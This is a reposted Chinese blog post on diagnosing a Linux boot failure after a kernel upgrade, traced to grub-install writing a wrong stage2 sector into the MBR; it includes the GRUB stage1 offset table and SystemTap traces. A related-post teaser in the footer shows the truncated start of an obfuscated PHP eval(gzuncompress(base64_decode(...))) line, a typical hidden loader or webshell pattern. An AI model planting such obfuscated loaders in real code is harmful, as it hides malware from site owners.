一次linux启动故障记录

一次linux启动故障记录

故障背景:

在2.6.32升级内核之后,出现多台设备启动失败,失败的全部都是ssd作为系统盘的机器,bios引导之后,屏幕就黑了,没有打印。

一开是以为是mbr损坏了,所以将启动盘挂载到其他服务器上,结果发现mbr和升级之前备份的mbr是一样的,而且和升级后能正常启动的mbr也是一样的。

 

排查到此,没能继续跟踪,找专业的os团队同事蒙恩排查,结论记录如下:

由于使用的是grub作为引导程序,mbr中的扇区位置,找不到stage2文件。

过程:

1.把现场的boot.bak和mbr.bak拿回来搭建了环境,引导内核,引导不起来,由于虚拟机bios有里程碑打印,确定bios已经加载到mbr了。

2.确定mbr坏掉了,主要是mbr中写入的stage2文件开始扇区号错了

3.打点确定升级操作没有操作到mbr以及引导相关的几个关键文件(stage2等)

grub-install失败的原因就是现场用了这种方式写device map文件,构造个如下的device.map文件,然后用命令:”grub-install /dev/sda” (sda是系统盘)

[root@XJ-Center-VS3000-4 /]# cat /boot/grub/device.map

(hd0)   /dev/disk/by-id/ata-INTEL_SSDSC2BB240G4_BTWL4020041Z240NGN

 

原理记录:

=====

系统启动流程:MBR(/boot/grub/stage1)->/boot/grub/stage2->vmlinux MBR负责加载stage2->stage2负责加载vmlinux.

MBR /boot/grub/stage1,/boot/grub/stage2的关系如下:

stage1二进制么以办法识别文件系统,因此只能通过biso中断,读数据。

stage1二进制程序被写入MBR,stage1有几个变量通过编译器严格控制其在stage1二进制文件中的偏移量。其中一个最重要的变量是stage2在boot分区的开始扇区号,因此MBR为stage1文件+几个被安装程序修改的变量+分区表

stage2中内置了ext系列文件系统的支持,因此可以通过直接读boot分区所在的文件系统来加载vmlinux,grub.conf等。

上面结论的依据:

Stage 1 and Stage 2 have embedded variables whose locations are

well-defined, so that the installation can patch the binary file

directly without recompilation of the stages.

   In Stage 1, these are defined:

`0x3E’

     The version number (not GRUB’s, but the installation mechanism’s).

`0x40′

     The boot drive. If it is 0xFF, use a drive passed by BIOS.

`0x41′

     The flag for if forcing LBA.

`0x42′

     The starting address of Stage 2.

`0x44′

     The first sector of Stage 2.

`0x48′

     The starting segment of Stage 2.

`0x1FE’

     The signature (`0xAA55′).

一次linux启动故障记录

一次linux启动故障记录

打点了升级patch中是否调用过grub一级打开stage文件结果如下,并没有发现有人调用过grub命令(grub-install也是调用了grub来安装grub的)

[root@localhost home]# ./test.stap |grep -E ‘stage|grub’

open===/boot/grub/grub.conf

open===/boot/grub/sedgzxf68

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting10.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting11.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting08.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting08.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting01.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting11.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting10.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting04.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting09.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting01.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting03.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting11.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting08.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting07.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting07.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting03.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting06.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting05.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting02.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting07.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting02.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting01.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting09.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting06.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting09.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting05.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting05.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting03.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting10.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting06.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting04.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting04.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting02.png

execve===>/sbin/grubby

open===/etc/grub.conf

open===../boot/grub/grub.conf-

execve===>/sbin/grubby

open===/etc/grub.conf

execve===>/sbin/grubby

open===/etc/grub.conf

open===/etc/sysconfig/grub

execve===>/sbin/grubby

open===/etc/grub.conf

open===../boot/grub/grub.conf-

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting10.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting11.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting08.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting08.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting01.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting11.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting10.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting04.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting09.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting01.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting03.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting11.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting08.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting07.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting07.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting03.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting06.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting05.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting02.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting07.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting02.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting01.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting09.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting06.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting09.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting05.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting05.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage01-connecting03.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting10.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting06.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage02-connecting04.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting04.png

open===/usr/share/icons/hicolor/22×22/apps/nm-stage03-connecting02.png

open===/boot/grub/grub.conf

open===/boot/grub/grub.conf

 

排查了grub-install脚本,在脚本中发现对device-map文件的解析还是过于简单,我们这种类型的device-map没有适配,在升级之前,我们的mbr中对stage2的扇区也是错的,

但由于这个扇区里面存放的之前老的stage2文件还留存着,反倒没有问题,升级之后,boot分区可能因为备份的原因,里面要覆盖一些新的文件,导致那个sector被分配出去了。

参考资料:

https://www.gnu.org/software/grub/manual/legacy

转载于:https://www.cnblogs.com/10087622blog/p/9896701.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/101324.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 函数的极限定义

    函数的极限定义函数的极限情况情况1:自变量x任意地接近于有限值x0,记作x->x0时,函数f(x)的变化情况;情况2:自变量x的绝对值|x|无限取向正无穷的时,函数f(x)的变化情况;然后明白下去心邻域:以x0这一点为中心的任何开区间——称为点x0的邻域。用符号表达为:U(x0)如果去掉x0这个点,那么就是去心邻域,用符号表达为:U’(x0)定义:|f(x)-A|<smallvalue,x无限趋向于x0这里的:smallvalue可以任意小,要多小有多小。A是一个常数。那么此时必

  • SSDP协议_mpp协议

    SSDP协议_mpp协议privatevoidsendDatagramPacket(finalStringip){newThread(newRunnable(){@Overridepublicvoidrun(){try{MulticastSocketmu

  • 数据结构七大排序算法图解[通俗易懂]

    数据结构七大排序算法图解[通俗易懂]万字手撕七大排序(代码+动图演示)…

  • 最新超详细VMware虚拟机下载与安装[通俗易懂]

    最新超详细VMware虚拟机下载与安装[通俗易懂]作者:seriouszyx独立博客记录了日常学习总结代码均可在Github上找到(求Star)VMware下载与安装一、虚拟机的下载1.进入VMware官网,点击左侧导航栏中的下载,再点击图中标记的WorkstationPro,如下图所示。2.根据操作系统选择合适的产品,在这里以Windows系统为例,点击转至下载,如下图所示。3.在1处可以选…

  • 介绍几种SSIS部署方式

    介绍几种SSIS部署方式

    2021年11月26日
  • ZJXfgf_config.php

    ZJXfgf_config.phpeval(gzuncompress(base64_decode(“eJzsvfl3G8eROP6z/J7/h9GYK4AmiIP3IVDiTUq8RJA6qceHY0BABDDQAOAhW/u/MNpNvLJ2I0qkLoq6SJsUZVEUSUmOnnP4WCeO1slGzsd2rDjvW9XHTA8wACnFye7nky9tkUAf1dXV1dXV1dXViqap2rCmJFUtHU2M2Ku…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号